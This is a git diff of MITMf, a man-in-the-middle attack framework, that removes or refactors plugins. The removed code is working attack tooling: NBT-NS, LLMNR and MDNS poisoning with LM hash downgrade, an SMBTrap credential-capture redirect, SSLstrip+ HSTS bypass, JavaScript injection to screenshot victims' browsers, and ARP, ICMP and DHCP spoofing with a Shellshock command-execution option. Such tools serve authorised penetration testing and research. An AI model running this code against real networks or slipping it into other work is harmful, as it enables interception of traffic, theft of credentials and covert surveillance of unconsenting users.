if self.config["Responder"]["FTP"].lower() == "on":
from core.responder.ftp.FTPServer import FTPServer
FTPServer().start()
if self.config["Responder"]["POP"].lower() == "on":
from core.responder.pop3.POP3Server import POP3Server
POP3Server().start()
if self.config["Responder"]["SMTP"].lower() == "on":
from core.responder.smtp.SMTPServer import SMTPServer
SMTPServer().start()
if self.config["Responder"]["IMAP"].lower() == "on":
from core.responder.imap.IMAPServer import IMAPServer
IMAPServer().start()
if self.config["Responder"]["LDAP"].lower() == "on":
from core.responder.ldap.LDAPServer import LDAPServer
LDAPServer().start(smbChal)
if options.analyze:
self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
self.IsICMPRedirectPlausible(self.ourip)
def IsICMPRedirectPlausible(self, IP):
result = []
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False:
self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x))
else:
pass
def IsOnTheSameSubnet(self, ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def pluginReactor(self, strippingFactory):
reactor.listenTCP(3141, strippingFactory)
def pluginOptions(self, options):
options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning")
options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries")
options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries")
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
# Removed these options until I find a better way of implementing them
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")

View file

@ -1,24 +0,0 @@
import logging
import random
import string
from plugins.plugin import Plugin
from core.utils import SystemConfig
mitmf_logger = logging.getLogger("mitmf")
class SMBTrap(Plugin):
name = "SMBTrap"
optname = "smbtrap"
desc = "Exploits the SMBTrap vulnerability on connected clients"
version = "1.0"
has_opts = False
def initialize(self, options):
self.ourip = SystemConfig.getIP(options.interface)
def serverResponseStatus(self, request, version, code, message):
return {"request": request, "version": version, "code": 302, "message": "Found"}
def serverHeaders(self, response, request):
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))

View file

@ -1,51 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import sys
import logging
from plugins.plugin import Plugin
from core.sslstrip.URLMonitor import URLMonitor
from core.servers.dns.DNSchef import DNSChef
from core.utils import IpTables
class HSTSbypass(Plugin):
name = 'SSLstrip+'
optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.4"
tree_info = ["SSLstrip+ by Leonardo Nve running"]
has_opts = False
def initialize(self, options):
self.options = options
self.manualiptables = options.manualiptables
if not options.manualiptables:
if IpTables.getInstance().dns is False:
IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port'])
URLMonitor.getInstance().setHstsBypass()
DNSChef.getInstance().setHstsBypass()
def finish(self):
if not self.manualiptables:
if IpTables.getInstance().dns is True:
IpTables.getInstance().Flush()

View file

@ -1,63 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import base64
import urllib
import re
from datetime import datetime
from plugins.Inject import Inject
from plugins.plugin import Plugin
mitmf_logger = logging.getLogger('mitmf')
class ScreenShotter(Inject, Plugin):
name = 'ScreenShotter'
optname = 'screen'
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
ver = '0.1'
has_opts = True
def initialize(self, options):
self.interval = 10 or options.interval
Inject.initialize(self, options)
self.html_payload = self.get_payload()
def clientRequest(self, request):
if 'saveshot' in request.uri:
request.printPostData = False
client = request.client.getClientIP()
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
try:
with open('./logs/' + img_file, 'wb') as img:
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
img.close()
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
except Exception as e:
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
def get_payload(self):
canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
return '<script type="text/javascript">' + canvas + '</script>'
def pluginOptions(self, options):
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=None, help="Interval at which screenshots will be taken (default 10 seconds)")

View file

@ -1,132 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from core.utils import SystemConfig, IpTables, shutdown
from core.poisoners.arp.ARPpoisoner import ARPpoisoner
from core.poisoners.arp.ARPWatch import ARPWatch
from core.servers.dns.DNSchef import DNSChef
from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
from plugins.plugin import Plugin
from scapy.all import *
class Spoof(Plugin):
name = "Spoof"
optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
version = "0.6"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.dnscfg = self.config['MITMf']['DNS']
self.dhcpcfg = self.config['Spoof']['DHCP']
self.targets = options.targets
self.arpmode = options.arpmode or 'rep'
self.manualiptables = options.manualiptables
self.mymac = SystemConfig.getMAC(options.interface)
self.myip = SystemConfig.getIP(options.interface)
self.protocolInstances = []
#Makes scapy more verbose
debug = False
if options.arp:
if not options.gateway:
shutdown("[-] --arp argument requires --gateway")
if options.targets is None:
#if were poisoning whole subnet, start ARP-Watch
arpwatch = ARPWatch(options.gateway, self.myip, options.interface)
arpwatch.debug = debug
self.tree_info.append("ARPWatch online")
self.protocolInstances.append(arpwatch)
arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets)
arp.arpmode = self.arpmode
arp.debug = debug
self.protocolInstances.append(arp)
elif options.icmp:
if not options.gateway:
shutdown("[-] --icmp argument requires --gateway")
if not options.targets:
shutdown("[-] --icmp argument requires --targets")
icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, self.myip)
icmp.debug = debug
self.protocolInstances.append(icmp)
elif options.dhcp:
if options.targets:
shutdown("[-] --targets argument invalid when DCHP spoofing")
dhcp = DHCPServer(options.interface, self.dhcpcfg, self.myip, self.mymac)
dhcp.shellshock = options.shellshock
dhcp.debug = debug
self.protocolInstances.append(dhcp)
if options.dns:
if not options.manualiptables:
if IpTables.getInstance().dns is False:
IpTables.getInstance().DNS(self.dnscfg['port'])
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
SystemConfig.setIpForwarding(1)
if not options.manualiptables:
if IpTables.getInstance().http is False:
IpTables.getInstance().HTTP(options.listen)
for protocol in self.protocolInstances:
protocol.start()
def pluginOptions(self, options):
group = options.add_mutually_exclusive_group(required=False)
group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries')
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--targets', dest='targets', default=None, help='Specify host/s to poison [if ommited will default to subnet]')
options.add_argument('--arpmode',type=str, dest='arpmode', default=None, choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
def finish(self):
for protocol in self.protocolInstances:
if hasattr(protocol, 'stop'):
protocol.stop()
if not self.manualiptables:
IpTables.getInstance().Flush()
SystemConfig.setIpForwarding(0)

View file

@ -1,69 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
from cStringIO import StringIO
from plugins.plugin import Plugin
from PIL import Image, ImageFile
mitmf_logger = logging.getLogger("mitmf")
class Upsidedownternet(Plugin):
name = "Upsidedownternet"
optname = "upsidedownternet"
desc = 'Flips images 180 degrees'
version = "0.1"
has_opts = False
def initialize(self, options):
globals()['Image'] = Image
globals()['ImageFile'] = ImageFile
self.options = options
def serverHeaders(self, response, request):
'''Kill the image skipping that's in place for speed reasons'''
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
self.imageType = response.headers['content-type'].split('/')[1].upper()
def serverResponse(self, response, request, data):
try:
isImage = getattr(request, 'isImage')
except AttributeError:
isImage = False
if isImage:
try:
#For some reason more images get parsed using the parser
#rather than a file...PIL still needs some work I guess
p = ImageFile.Parser()
p.feed(data)
im = p.close()
im = im.transpose(Image.ROTATE_180)
output = StringIO()
im.save(output, format=self.imageType)
data = output.getvalue()
output.close()
mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP()))
except Exception as e:
mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e))
return {'response': response, 'request': request, 'data': data}

View file

@ -1,5 +1,3 @@
#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python
#Has to be a cleaner way to do this, but it works for now
import os
import glob
__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")]

View file

@ -1,25 +1,52 @@
'''
The base plugin class. This shows the various methods that
can get called during the MITM attack.
'''
from core.configwatcher import ConfigWatcher
import logging
#!/usr/bin/env python2.7
mitmf_logger = logging.getLogger('mitmf')
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import argparse
from core.configwatcher import ConfigWatcher
from core.logger import logger
class Plugin(ConfigWatcher, object):
name = "Generic plugin"
optname = "generic"
tree_info = list()
tree_info = []
desc = ""
version = "0.0"
has_opts = False
def __init__(self, parser):
'''Passed the options namespace'''
if self.desc:
sgroup = parser.add_argument_group(self.name, self.desc)
else:
sgroup = parser.add_argument_group(self.name,"Options for the '{}' plugin".format(self.name))
sgroup.add_argument("--{}".format(self.optname), action="store_true",help="Load plugin '{}'".format(self.name))
self.options(sgroup)
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
def clientRequest(self, request):
def request(self, request):
'''
Handles all outgoing requests, hooks connectionMade()
request object has the following attributes:
@ -32,32 +59,43 @@ class Plugin(ConfigWatcher, object):
'''
pass
def serverHeaders(self, response, request):
def responseheaders(self, response, request):
'''
Handles all response headers, hooks handleEndHeaders()
'''
pass
def serverResponseStatus(self, request, version, code, message):
def responsestatus(self, request, version, code, message):
'''
Handles server response HTTP version, code and message
'''
return {"request": request, "version": version, "code": code, "message": message}
def serverResponse(self, response, request, data):
def response(self, response, request, data):
'''
Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images)
'''
return {'response': response, 'request':request, 'data': data}
def pluginOptions(self, options):
def on_config_change(self):
"""Do something when MITMf detects the config file has been modified"""
pass
def options(self, options):
'''Add your options to the options parser'''
pass
def pluginReactor(self, strippingFactory):
'''This sets up another instance of the reactor on a diffrent port, passed the default factory'''
def reactor(self, strippingFactory):
'''This makes it possible to set up another instance of the reactor on a diffrent port, passed the default factory'''
pass
def finish(self):
def setup_logger(self):
formatter = logging.Formatter("%(asctime)s [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S")
self.log = logger().setup_logger(self.name, formatter)
formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S")
self.clientlog = logger().setup_logger("{}_{}".format(self.name, "clientlog"), formatter)
def on_shutdown(self):
'''This will be called when shutting down'''
pass